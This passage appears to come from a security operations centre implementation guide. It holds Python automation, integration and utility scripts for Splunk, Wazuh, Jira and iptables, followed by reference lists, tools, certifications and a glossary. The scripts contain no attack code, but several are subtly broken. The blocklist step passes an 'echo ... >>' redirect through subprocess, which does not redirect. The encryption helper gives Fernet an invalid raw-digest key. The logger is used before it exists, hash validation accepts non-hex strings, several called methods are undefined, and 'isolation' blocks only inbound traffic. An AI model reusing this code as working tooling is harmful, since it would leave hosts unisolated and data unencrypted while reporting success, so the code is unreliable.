# - integration/: API integration and data processing scripts
# - monitoring/: System monitoring and health check scripts
# - utilities/: Helper functions and utility scripts

# Create main script index
sudo nano /opt/soc/scripts/README.md

# Script documentation:
## SOC Python Scripts

### Automation Scripts
- incident_response.py: Automated incident response procedures
- threat_hunting.py: Automated threat hunting queries
- alert_processor.py: Alert processing and triage automation

### Integration Scripts
- jira_integration.py: Jira API integration and ticket management
- splunk_integration.py: Splunk API integration and data processing
- wazuh_integration.py: Wazuh API integration and alert management

### Monitoring Scripts
- health_monitor.py: System health monitoring and alerting
- performance_monitor.py: Performance monitoring and optimization
- backup_monitor.py: Backup verification and monitoring

### Utility Scripts
- config_manager.py: Configuration management and validation
- log_processor.py: Log processing and analysis utilities
- data_validator.py: Data validation and sanitization utilities
```

B.2 Core Automation Scripts

Core automation scripts provide automated response capabilities, threat hunting, and alert processing for the SOC implementation.

```
#!/usr/bin/env python3

# Core SOC Automation Scripts

import json

import logging

import requests

import subprocess

from datetime import datetime

from typing import Dict, List, Any

class SOCAutomation:

def __init__(self, config_file: str =
'/opt/soc/config/automation_config.json'):

self.config = self.load_config(config_file)

self.setup_logging()

self.setup_apis()

def load_config(self, config_file: str) -> Dict[str, Any]:

# Load automation configuration

try:

with open(config_file, 'r') as f:

return json.load(f)

except Exception as e:

self.logger.error(f'Failed to load config: {e}')

return {}

def setup_logging(self):

# Setup logging for automation scripts

logging.basicConfig(

filename='/var/log/soc/automation.log',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

self.logger = logging.getLogger(__name__)

def setup_apis(self):

# Setup API connections
```

```
self.splunk_api = self.config.get('splunk_api', {})

self.wazuh_api = self.config.get('wazuh_api', {})

self.jira_api = self.config.get('jira_api', {})

def automated_incident_response(self, alert_data: Dict[str, Any]) ->
Dict[str, Any]:

# Automated incident response procedure

self.logger.info(f'Starting automated response for alert:
{alert_data.get("alert_id")}')

response_result = {

'alert_id': alert_data.get('alert_id'),

'response_actions': [],

'success': True,

'errors': []

}

try:

# Determine response based on alert type

alert_type = alert_data.get('type', 'unknown')

severity = alert_data.get('severity', 'medium')

# Execute type-specific response

if alert_type == 'malware':

response_result = self.handle_malware_alert(alert_data)

elif alert_type == 'network_attack':

response_result = self.handle_network_attack(alert_data)

elif alert_type == 'suspicious_activity':

response_result = self.handle_suspicious_activity(alert_data)

else:

response_result = self.handle_generic_alert(alert_data)

# Create incident ticket

if severity in ['high', 'critical']:

ticket_result = self.create_incident_ticket(alert_data)

response_result['response_actions'].append('incident_ticket_created')

# Log response actions

self.log_response_actions(response_result)

except Exception as e:

self.logger.error(f'Automated response failed: {e}')

response_result['success'] = False
```

```
response_result['errors'].append(str(e))

return response_result

def handle_malware_alert(self, alert_data: Dict[str, Any]) -> Dict[str, Any]:
# Handle malware alerts
response_actions = []

# Isolate affected systems
affected_systems = alert_data.get('affected_systems', [])
for system in affected_systems:
isolation_result = self.isolate_system(system)
if isolation_result:
response_actions.append(f'isolated_system_{system}')

# Block malicious IPs/domains
malicious_indicators = alert_data.get('malicious_indicators', [])
for indicator in malicious_indicators:
block_result = self.block_indicator(indicator)
if block_result:
response_actions.append(f'blocked_indicator_{indicator}')

# Collect malware samples
sample_collection = self.collect_malware_samples(alert_data)
if sample_collection:
response_actions.append('malware_samples_collected')

return {
'alert_id': alert_data.get('alert_id'),
'response_actions': response_actions,
'success': True,
'errors': []
}

def handle_network_attack(self, alert_data: Dict[str, Any]) -> Dict[str,
Any]:
# Handle network attack alerts
response_actions = []

# Block source IP
source_ip = alert_data.get('source_ip')
if source_ip:
block_result = self.block_ip(source_ip)
if block_result:
```

```
response_actions.append(f'blocked_ip_{source_ip}')

# Update firewall rules
firewall_update = self.update_firewall_rules(alert_data)
if firewall_update:
response_actions.append('firewall_rules_updated')

# Monitor network traffic
traffic_monitoring = self.enhance_traffic_monitoring(alert_data)
if traffic_monitoring:
response_actions.append('traffic_monitoring_enhanced')

return {
'alert_id': alert_data.get('alert_id'),
'response_actions': response_actions,
'success': True,
'errors': []
}

def isolate_system(self, system_id: str) -> bool:
# Isolate system from network
try:
# Execute isolation command
isolation_command = f'iptables -A INPUT -s {system_id} -j DROP'
subprocess.run(isolation_command.split(), check=True)

self.logger.info(f'System {system_id} isolated successfully')
return True
except Exception as e:
self.logger.error(f'Failed to isolate system {system_id}: {e}')
return False

def block_indicator(self, indicator: str) -> bool:
# Block malicious indicator
try:
# Add to blocklist
block_command = f'echo {indicator} >> /opt/soc/blocklist/indicators.txt'
subprocess.run(block_command.split(), check=True)

# Update firewall
if self.is_ip_address(indicator):
firewall_command = f'iptables -A INPUT -s {indicator} -j DROP'
subprocess.run(firewall_command.split(), check=True)
```

```
self.logger.info(f'Indicator {indicator} blocked successfully')
return True
except Exception as e:
self.logger.error(f'Failed to block indicator {indicator}: {e}')
return False

def create_incident_ticket(self, alert_data: Dict[str, Any]) -> bool:
# Create incident ticket in Jira
try:
ticket_data = {
'summary': f'Security Incident: {alert_data.get("alert_id")}',
'description': self.format_incident_description(alert_data),
'priority': self.map_severity_to_priority(alert_data.get('severity')),
'components': ['Security']
}

# Create ticket via Jira API
response = requests.post(
f'{self.jira_api["url"]}/rest/api/2/issue',
json={'fields': ticket_data},
auth=(self.jira_api['username'], self.jira_api['password'])
)

if response.status_code == 201:
self.logger.info(f'Incident ticket created: {response.json().get("key")}')
return True
else:
self.logger.error(f'Failed to create ticket: {response.text}')
return False
except Exception as e:
self.logger.error(f'Failed to create incident ticket: {e}')
return False

# Create automation script
sudo chmod +x /opt/soc/scripts/automation/soc_automation.py
```

B.3 Integration Scripts

Integration scripts provide API connectivity and data processing capabilities for connecting SOC components and external systems.

```
#!/usr/bin/env python3
```

```python
# SOC Integration Scripts

import requests

import json

import logging

import xml.etree.ElementTree as ET

from typing import Dict, List, Any, Optional

class SOCIntegration:

def __init__(self, config_file: str =
'/opt/soc/config/integration_config.json'):

self.config = self.load_config(config_file)

self.setup_logging()

self.setup_api_clients()

def setup_api_clients(self):

# Setup API clients for different systems

self.splunk_client = SplunkClient(self.config.get('splunk', {}))

self.wazuh_client = WazuhClient(self.config.get('wazuh', {}))

self.jira_client = JiraClient(self.config.get('jira', {}))

self.threat_intel_client = ThreatIntelClient(self.config.get('threat_intel',
{}))

def sync_splunk_alerts(self) -> List[Dict[str, Any]]:

# Sync alerts from Splunk

try:

# Query Splunk for recent alerts

search_query = 'index=security_events severity=high OR severity=critical |
head 100'

alerts = self.splunk_client.search_alerts(search_query)

# Process and normalize alerts

processed_alerts = []

for alert in alerts:

processed_alert = self.process_splunk_alert(alert)

processed_alerts.append(processed_alert)

self.logger.info(f'Synced {len(processed_alerts)} alerts from Splunk')

return processed_alerts

except Exception as e:

self.logger.error(f'Failed to sync Splunk alerts: {e}')

return []

def sync_wazuh_alerts(self) -> List[Dict[str, Any]]:
```

```
# Sync alerts from Wazuh
try:
# Get recent Wazuh alerts
alerts = self.wazuh_client.get_alerts()

# Process and normalize alerts
processed_alerts = []
for alert in alerts:
processed_alert = self.process_wazuh_alert(alert)
processed_alerts.append(processed_alert)

self.logger.info(f'Synced {len(processed_alerts)} alerts from Wazuh')
return processed_alerts
except Exception as e:
self.logger.error(f'Failed to sync Wazuh alerts: {e}')
return []

def sync_threat_intelligence(self) -> List[Dict[str, Any]]:
# Sync threat intelligence data
try:
# Get threat intelligence feeds
threat_feeds = self.threat_intel_client.get_feeds()

# Process threat intelligence
processed_intel = []
for feed in threat_feeds:
processed_feed = self.process_threat_feed(feed)
processed_intel.extend(processed_feed)

self.logger.info(f'Synced {len(processed_intel)} threat intelligence items')
return processed_intel
except Exception as e:
self.logger.error(f'Failed to sync threat intelligence: {e}')
return []

def process_splunk_alert(self, alert: Dict[str, Any]) -> Dict[str, Any]:
# Process and normalize Splunk alert
return {
'alert_id': alert.get('_key', f'splunk_{alert.get("_cd")}'),
'source': 'splunk',
'severity': self.map_splunk_severity(alert.get('severity', 'medium')),
'message': alert.get('message', ''),
'timestamp': alert.get('_time', ''),
'source_ip': alert.get('src_ip', ''),
'destination_ip': alert.get('dest_ip', ''),
'user': alert.get('user', ''),
'event_type': alert.get('event_type', 'unknown'),
'raw_data': alert
}

def process_wazuh_alert(self, alert: Dict[str, Any]) -> Dict[str, Any]:
# Process and normalize Wazuh alert
return {
'alert_id': alert.get('id', f'wazuh_{alert.get("timestamp")}'),
'source': 'wazuh',
'severity': self.map_wazuh_level(alert.get('level', 5)),
'message': alert.get('description', ''),
'timestamp': alert.get('timestamp', ''),
'source_ip': alert.get('srcip', ''),
'destination_ip': alert.get('dstip', ''),
'user': alert.get('user', ''),
'rule_id': alert.get('rule', {}).get('id', ''),
'raw_data': alert
}

def map_splunk_severity(self, severity: str) -> str:
# Map Splunk severity to standard severity
severity_mapping = {
'critical': 'critical',
'high': 'high',
'medium': 'medium',
'low': 'low'
}
return severity_mapping.get(severity.lower(), 'medium')

def map_wazuh_level(self, level: int) -> str:
# Map Wazuh level to standard severity
if level >= 15:
return 'critical'
elif level >= 10:
return 'high'
elif level >= 5:
```

```
return 'medium'
else:
return 'low'

class SplunkClient:
def __init__(self, config: Dict[str, Any]):
self.config = config
self.session = requests.Session()
self.session.auth = (config.get('username'), config.get('password'))

def search_alerts(self, query: str) -> List[Dict[str, Any]]:
# Search Splunk for alerts
try:
response = self.session.post(
f'{self.config["url"]}/services/search/jobs',
data={
'search': query,
'output_mode': 'json'
}
)

if response.status_code == 200:
return response.json().get('results', [])
else:
return []
except Exception as e:
logging.error(f'Splunk search failed: {e}')
return []

class WazuhClient:
def __init__(self, config: Dict[str, Any]):
self.config = config
self.session = requests.Session()
self.session.headers.update({
'Authorization': f'Bearer {config.get("token")}'
})

def get_alerts(self) -> List[Dict[str, Any]]:
# Get alerts from Wazuh
try:
response = self.session.get(
f'{self.config["url"]}/alerts'
)

if response.status_code == 200:
return response.json().get('data', {}).get('affected_items', [])
else:
return []
except Exception as e:
logging.error(f'Wazuh alerts fetch failed: {e}')
return []

# Create integration script
sudo chmod +x /opt/soc/scripts/integration/soc_integration.py
```

B.4 Utility Scripts

Utility scripts provide helper functions, data validation, configuration management, and other supporting capabilities for the SOC implementation.

```
#!/usr/bin/env python3
# SOC Utility Scripts
import json
import yaml
import logging
import re
import hashlib
from typing import Dict, List, Any, Optional, Union
from pathlib import Path

class SOCUtilities:
def __init__(self):
self.setup_logging()
self.validators = {
'ip_address': self.validate_ip_address,
'domain': self.validate_domain,
'email': self.validate_email,
'url': self.validate_url,
'hash': self.validate_hash
}

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/utilities.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def validate_ip_address(self, ip: str) -> bool:
# Validate IP address format
try:
ip_parts = ip.split('.')
if len(ip_parts) != 4:
return False

for part in ip_parts:
if not part.isdigit() or not 0 <= int(part) <= 255:
return False

return True
except Exception:
return False

def validate_domain(self, domain: str) -> bool:
# Validate domain name format
try:
domain_pattern = r'^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]
([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$'
return bool(re.match(domain_pattern, domain))
except Exception:
return False

def validate_email(self, email: str) -> bool:
# Validate email address format
try:
email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return bool(re.match(email_pattern, email))
except Exception:
return False

def validate_url(self, url: str) -> bool:
# Validate URL format
try:
url_pattern = r'^https?://[^\s/$.?#].[^\s]*$'
```

```
return bool(re.match(url_pattern, url))

except Exception:

return False

def validate_hash(self, hash_value: str) -> bool:

# Validate hash format

try:

# Check for common hash lengths

hash_lengths = [32, 40, 64, 128] # MD5, SHA1, SHA256, SHA512

return len(hash_value) in hash_lengths and hash_value.isalnum()

except Exception:

return False

def sanitize_data(self, data: Union[str, Dict, List]) -> Union[str, Dict,
List]:

# Sanitize data to prevent injection attacks

if isinstance(data, str):

# Remove potentially dangerous characters

dangerous_chars = ['<', '>', '"', "'", '&', ';', '|', '`', '$']

for char in dangerous_chars:

data = data.replace(char, '')

return data

elif isinstance(data, dict):

return {key: self.sanitize_data(value) for key, value in data.items()}

elif isinstance(data, list):

return [self.sanitize_data(item) for item in data]

else:

return data

def calculate_hash(self, data: str, algorithm: str = 'sha256') -> str:

# Calculate hash of data

try:

if algorithm == 'md5':

return hashlib.md5(data.encode()).hexdigest()

elif algorithm == 'sha1':

return hashlib.sha1(data.encode()).hexdigest()

elif algorithm == 'sha256':

return hashlib.sha256(data.encode()).hexdigest()

elif algorithm == 'sha512':

return hashlib.sha512(data.encode()).hexdigest()
```

```
else:
raise ValueError(f'Unsupported hash algorithm: {algorithm}')
except Exception as e:
self.logger.error(f'Hash calculation failed: {e}')
return ''

def load_config(self, config_path: str) -> Dict[str, Any]:
# Load configuration file
try:
config_path = Path(config_path)

if config_path.suffix == '.json':
with open(config_path, 'r') as f:
return json.load(f)
elif config_path.suffix in ['.yml', '.yaml']:
with open(config_path, 'r') as f:
return yaml.safe_load(f)
else:
raise ValueError(f'Unsupported config file format: {config_path.suffix}')
except Exception as e:
self.logger.error(f'Failed to load config {config_path}: {e}')
return {}

def save_config(self, config: Dict[str, Any], config_path: str) -> bool:
# Save configuration file
try:
config_path = Path(config_path)

if config_path.suffix == '.json':
with open(config_path, 'w') as f:
json.dump(config, f, indent=2)
elif config_path.suffix in ['.yml', '.yaml']:
with open(config_path, 'w') as f:
yaml.dump(config, f, default_flow_style=False)
else:
raise ValueError(f'Unsupported config file format: {config_path.suffix}')

return True
except Exception as e:
self.logger.error(f'Failed to save config {config_path}: {e}')
return False
```

```
def validate_config(self, config: Dict[str, Any], schema: Dict[str, Any]) ->
List[str]:

# Validate configuration against schema

errors = []

for key, expected_type in schema.items():

if key not in config:

errors.append(f'Missing required field: {key}')

elif not isinstance(config[key], expected_type):

errors.append(f'Invalid type for {key}: expected {expected_type}, got
{type(config[key])}')

return errors

def encrypt_data(self, data: str, key: str) -> str:

# Encrypt sensitive data

try:

from cryptography.fernet import Fernet

# Generate encryption key

encryption_key = hashlib.sha256(key.encode()).digest()

fernet = Fernet(encryption_key)

# Encrypt data

encrypted_data = fernet.encrypt(data.encode())

return encrypted_data.decode()

except Exception as e:

self.logger.error(f'Encryption failed: {e}')

return data

def decrypt_data(self, encrypted_data: str, key: str) -> str:

# Decrypt sensitive data

try:

from cryptography.fernet import Fernet

# Generate decryption key

decryption_key = hashlib.sha256(key.encode()).digest()

fernet = Fernet(decryption_key)

# Decrypt data

decrypted_data = fernet.decrypt(encrypted_data.encode())

return decrypted_data.decode()

except Exception as e:

self.logger.error(f'Decryption failed: {e}')
```

```
return encrypted_data

# Create utility script
sudo chmod +x /opt/soc/scripts/utilities/soc_utilities.py
```

Appendix C: Reference & Resources

C.1 Reference Documentation

This appendix provides comprehensive reference documentation, best practices, and additional resources for the SOC implementation, including official documentation, standards, and community resources.

```
# Official Documentation References

## Splunk Documentation

- Splunk Enterprise Security: https://docs.splunk.com/Documentation/ES

- Splunk Search Reference: https://docs.splunk.com/Documentation/Splunk

- Splunk REST API: https://docs.splunk.com/Documentation/Splunk/RESTAPI

- Splunk App Development: https://dev.splunk.com/

## Wazuh Documentation

- Wazuh Installation Guide: https://documentation.wazuh.com/

- Wazuh User Manual: https://documentation.wazuh.com/current/user-manual/

- Wazuh API Reference:
https://documentation.wazuh.com/current/user-manual/api/

- Wazuh Rules Reference:
https://documentation.wazuh.com/current/user-manual/rules/

## Jira Documentation

- Jira REST API: https://developer.atlassian.com/cloud/jira/platform/rest/

- Jira Automation:
https://support.atlassian.com/jira-software-cloud/docs/automation/

- Jira Webhooks:
https://developer.atlassian.com/cloud/jira/platform/webhooks/

## Security Standards

- NIST Cybersecurity Framework: https://www.nist.gov/cyberframework

- ISO 27001 Information Security:
https://www.iso.org/isoiec-27001-information-security

- SOC 2 Type II: https://www.aicpa.org/interestareas/frc/assuranceadvisoryser
vices/sorhome.html

- MITRE ATT&CK; Framework: https://attack.mitre.org/

## Compliance Frameworks

- PCI DSS: https://www.pcisecuritystandards.org/

- HIPAA: https://www.hhs.gov/hipaa/index.html

- GDPR: https://gdpr.eu/

- SOX: https://www.sec.gov/sox
```

C.2 Best Practices

Comprehensive best practices for SOC implementation, including security practices, operational procedures, and industry standards.

```
# SOC Best Practices

## Security Best Practices

- Implement Defense in Depth: Multiple layers of security controls

- Follow Principle of Least Privilege: Minimal access required

- Regular Security Updates: Keep all systems patched

- Network Segmentation: Isolate critical systems

- Encryption: Encrypt data at rest and in transit

- Multi-Factor Authentication: Require MFA for all access

- Regular Security Assessments: Conduct penetration testing

- Incident Response Planning: Document and test procedures

## Operational Best Practices

- 24/7 Monitoring: Continuous security monitoring

- Shift Handovers: Comprehensive handover procedures

- Documentation: Maintain detailed incident documentation

- Team Training: Regular security awareness training

- Performance Metrics: Track KPIs and SLAs

- Continuous Improvement: Regular process reviews

- Threat Intelligence: Integrate threat feeds

- Automation: Automate repetitive tasks

## Technical Best Practices

- Log Management: Centralized logging and retention

- Backup Procedures: Regular backups with testing

- Change Management: Document all system changes

- Access Control: Implement role-based access

- Monitoring: Comprehensive system monitoring

- Alert Tuning: Reduce false positives

- Performance Optimization: Regular performance reviews

- Disaster Recovery: Test recovery procedures

## Compliance Best Practices

- Regular Audits: Conduct compliance audits

- Documentation: Maintain compliance documentation

- Training: Provide compliance training
- Monitoring: Monitor compliance requirements

- Reporting: Regular compliance reporting

- Remediation: Address compliance gaps

- Risk Assessment: Regular risk assessments

- Policy Management: Maintain security policies
```

C.3 Community Resources

Community resources, forums, and additional learning materials for SOC professionals and security practitioners.

```
# Community Resources and Forums

## Security Communities

- SANS Community: https://www.sans.org/community/

- ISC2 Community: https://community.isc2.org/

- OWASP Community: https://owasp.org/www-community/

- Reddit r/netsec: https://www.reddit.com/r/netsec/

- Reddit r/cybersecurity: https://www.reddit.com/r/cybersecurity/

## Professional Organizations

- ISACA: https://www.isaca.org/

- ISC2: https://www.isc2.org/

- SANS Institute: https://www.sans.org/

- CompTIA: https://www.comptia.org/

- EC-Council: https://www.eccouncil.org/

## Conferences and Events

- Black Hat: https://www.blackhat.com/

- DEF CON: https://defcon.org/

- RSA Conference: https://www.rsaconference.com/

- SANS Security Events: https://www.sans.org/security-training/

- BSides: https://www.securitybsides.com/

## Online Learning Platforms

- Cybrary: https://www.cybrary.it/

- SANS Cyber Aces: https://www.cyberaces.org/

- TryHackMe: https://tryhackme.com/

- HackTheBox: https://www.hackthebox.com/

- VulnHub: https://www.vulnhub.com/

## Security Blogs and News

- Krebs on Security: https://krebsonsecurity.com/
- Schneier on Security: https://www.schneier.com/

- The Hacker News: https://thehackernews.com/

- Security Weekly: https://securityweekly.com/

- Dark Reading: https://www.darkreading.com/
```

C.4 Tools and Utilities

Additional security tools, utilities, and open-source solutions that can enhance the SOC implementation and provide additional capabilities.

```
# Additional Security Tools and Utilities

## Network Security Tools

- Wireshark: Network protocol analyzer

- Nmap: Network discovery and security auditing

- Snort: Network intrusion detection system

- Suricata: Network threat detection engine

- Zeek (Bro): Network security monitor

## Endpoint Security Tools

- Osquery: Endpoint visibility tool

- Volatility: Memory forensics framework

- Yara: Pattern matching tool

- ClamAV: Antivirus engine

- OSSEC: Host-based intrusion detection

## Threat Intelligence Tools

- MISP: Threat intelligence platform

- OpenCTI: Cyber threat intelligence platform

- ThreatFox: Malware IOC database

- AlienVault OTX: Open threat exchange

- VirusTotal: File and URL analysis

## Forensics and Analysis Tools

- Autopsy: Digital forensics platform

- Sleuth Kit: Digital forensics library

- Volatility: Memory forensics

- Rekall: Memory analysis framework

- Cuckoo Sandbox: Malware analysis

## Monitoring and SIEM Tools

- ELK Stack: Elasticsearch, Logstash, Kibana

- Graylog: Log management platform
- OSSIM: Open source SIEM

- Security Onion: Network security monitoring

- Zeek: Network security monitor

## Vulnerability Assessment Tools

- OpenVAS: Vulnerability scanner

- Nmap: Network scanner

- Nikto: Web server scanner

- OWASP ZAP: Web application scanner

- Metasploit: Penetration testing framework

## Configuration Management

- Ansible: IT automation platform

- Puppet: Configuration management

- Chef: Infrastructure automation

- Terraform: Infrastructure as code

- Docker: Containerization platform

## Monitoring and Alerting

- Prometheus: Monitoring system

- Grafana: Metrics visualization

- Nagios: Network monitoring

- Zabbix: Enterprise monitoring

- Icinga: Network monitoring
```

C.5 Training and Certification

Professional training programs, certifications, and educational resources for SOC analysts and security professionals.

```
# Professional Training and Certifications

## Security Certifications

- CISSP: Certified Information Systems Security Professional

- CISM: Certified Information Security Manager

- CompTIA Security+: Entry-level security certification

- CEH: Certified Ethical Hacker

- OSCP: Offensive Security Certified Professional

- SANS GIAC: Various security certifications

- ISACA CISA: Certified Information Systems Auditor

## SOC-Specific Training

- SANS SEC450: Blue Team Fundamentals
- SANS SEC511: Continuous Monitoring and Security Operations
- SANS SEC555: SIEM with Tactical Analytics
- SANS SEC599: Defeating Advanced Adversaries
- SANS SEC504: Hacker Tools, Techniques, and Incident Handling

## Vendor-Specific Training
- Splunk Training: https://www.splunk.com/en_us/training.html
- Wazuh Training: https://wazuh.com/training/
- Jira Training: https://www.atlassian.com/training
- AWS Security Training: https://aws.amazon.com/training/security/
- Azure Security Training: https://docs.microsoft.com/en-us/learn/azure/

## Online Learning Platforms
- Cybrary: Free cybersecurity training
- SANS Cyber Aces: Free cybersecurity courses
- TryHackMe: Hands-on security training
- HackTheBox: Penetration testing practice
- VulnHub: Vulnerable machine practice

## University Programs
- Carnegie Mellon University: MS in Information Security
- Georgia Tech: MS in Cybersecurity
- University of Maryland: MS in Cybersecurity
- Stanford University: MS in Computer Science with Security focus
- MIT: Various cybersecurity courses

## Industry Training Programs
- SANS Institute: Professional security training
- Offensive Security: Penetration testing training
- EC-Council: Various security certifications
- CompTIA: IT and security certifications
- ISACA: IT governance and security training
```

C.6 Glossary

Comprehensive glossary of security terms, acronyms, and definitions commonly used in SOC operations and cybersecurity.

```
# Security Terms and Definitions

## Common Acronyms
- APT: Advanced Persistent Threat
- CVE: Common Vulnerabilities and Exposures
```

- CVSS: Common Vulnerability Scoring System
- DLP: Data Loss Prevention
- EDR: Endpoint Detection and Response
- IDS: Intrusion Detection System
- IPS: Intrusion Prevention System
- IOC: Indicator of Compromise
- IR: Incident Response
- MITRE ATT&CK;: Adversarial Tactics, Techniques, and Common Knowledge
- NIDS: Network Intrusion Detection System
- NIPS: Network Intrusion Prevention System
- SIEM: Security Information and Event Management
- SOAR: Security Orchestration, Automation, and Response
- TTP: Tactics, Techniques, and Procedures
- UBA: User Behavior Analytics
- UEBA: User and Entity Behavior Analytics

## Security Concepts

- Attack Vector: Method used to exploit vulnerabilities
- Backdoor: Secret method of bypassing security controls
- Botnet: Network of compromised computers
- Brute Force: Trial-and-error attack method
- Buffer Overflow: Memory corruption vulnerability
- Cross-Site Scripting (XSS): Web application vulnerability
- Denial of Service (DoS): Service disruption attack
- Distributed Denial of Service (DDoS): Coordinated DoS attack
- Exploit: Code that takes advantage of a vulnerability
- Firewall: Network security device
- Honeypot: Decoy system to attract attackers
- Malware: Malicious software
- Phishing: Social engineering attack
- Ransomware: Malware that encrypts files for ransom
- Rootkit: Malware that hides its presence
- Social Engineering: Human manipulation techniques
- Spear Phishing: Targeted phishing attack
- Spyware: Malware that monitors user activity
- Trojan: Malware disguised as legitimate software
- Virus: Self-replicating malware
- Worm: Self-propagating malware

## SOC Terms

- Alert: Security event notification
- Case: Investigation container
- Escalation: Process of involving higher-level personnel
- False Positive: Incorrect alert
- Incident: Security event requiring response
- Playbook: Standardized response procedure
- Threat Hunting: Proactive security investigation
- Triage: Initial assessment of security events
- Use Case: Specific detection scenario
- Workflow: Automated process sequence